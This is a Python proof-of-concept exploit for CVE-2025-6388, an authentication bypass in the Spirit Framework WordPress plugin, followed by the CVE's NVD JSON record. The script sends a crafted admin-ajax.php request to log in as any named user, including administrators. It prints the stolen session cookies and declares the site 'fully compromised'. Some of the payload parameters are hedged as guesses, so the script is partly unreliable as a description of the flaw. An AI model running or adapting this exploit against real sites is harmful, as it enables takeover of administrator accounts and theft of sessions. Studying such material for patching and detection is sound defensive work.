CVE-2025-6388

# CVE-2025-6388 - Spirit Framework Authentication Bypass PoC # This PoC demonstrates the authentication bypass vulnerability in the # custom_actions() function of the Spirit Framework WordPress plugin. # The vulnerability allows unauthenticated attackers to log in as any user, # including administrators, by exploiting improper identity validation. import requests TARGET_URL = "http://target-wordpress-site.com" ADMIN_USERNAME = "admin" # Target administrator username (can be any valid user) def exploit_auth_bypass(target_url, username): """ Exploit the authentication bypass vulnerability in Spirit Framework's custom_actions() function. The function fails to validate user identity before authenticating, allowing direct login as any user. """ session = requests.Session() # Step 1: Access the vulnerable custom_actions endpoint # The custom_actions() function processes requests without proper # identity verification, directly authenticating based on user-supplied data exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # Step 2: Craft the malicious request payload # The action parameter targets the vulnerable custom_actions handler # The user parameter specifies which user to authenticate as payload = { "action": "spirit_custom_action", "user": username, # Additional parameters that may be required by custom_actions() "spirit_action": "login", "_wpnonce": "", # Nonce may not be validated } # Step 3: Send the exploit request response = session.post(exploit_url, data=payload, allow_redirects=False) # Step 4: Check if authentication was successful # A successful exploit will set the wordpress_logged_in cookie cookies = session.cookies.get_dict() if "wordpress_logged_in" in cookies or "wordpress_sec" in cookies: print(f"[+] Authentication bypass successful!") print(f"[+] Logged in as: {username}") print(f"[+] Session cookies: {cookies}") return session, cookies else: print(f"[-] Exploit may have failed. Response: {response.status_code}") return None, None def verify_admin_access(session, target_url): """Verify that the bypassed session has administrator privileges.""" admin_url = f"{target_url}/wp-admin/" response = session.get(admin_url, allow_redirects=True) if "dashboard" in response.url or "wp-admin" in response.url: print(f"[+] Confirmed administrator access!") print(f"[+] Current page: {response.url}") return True return False if __name__ == "__main__": print("[*] CVE-2025-6388 - Spirit Framework Authentication Bypass") print(f"[*] Target: {TARGET_URL}") print(f"[*] Target user: {ADMIN_USERNAME}") print("-" * 50) session, cookies = exploit_auth_bypass(TARGET_URL, ADMIN_USERNAME) if session and cookies: verify_admin_access(session, TARGET_URL) print("\n[!] The target site is now fully compromised.") print("[!] Recommended: Update Spirit Framework to the patched version immediately.")

{"cve": {"id": "CVE-2025-6388", "sourceIdentifier": "[email protected]", "published": "2025-10-03T09:15:38.300", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Spirit Framework plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 1.2.14. This is due to the custom_actions() function not properly validating a user's identity prior to authenticating them to the site. This makes it possible for unauthenticated attackers to log in as any user, including administrators, granted they have access to the administrator's username."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "references": [{"url": "https://themespirit.com/talemy-changelog/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a4cbc0e7-4328-451f-a595-1ce17e9d0031?source=cve", "source": "[email protected]"}]}}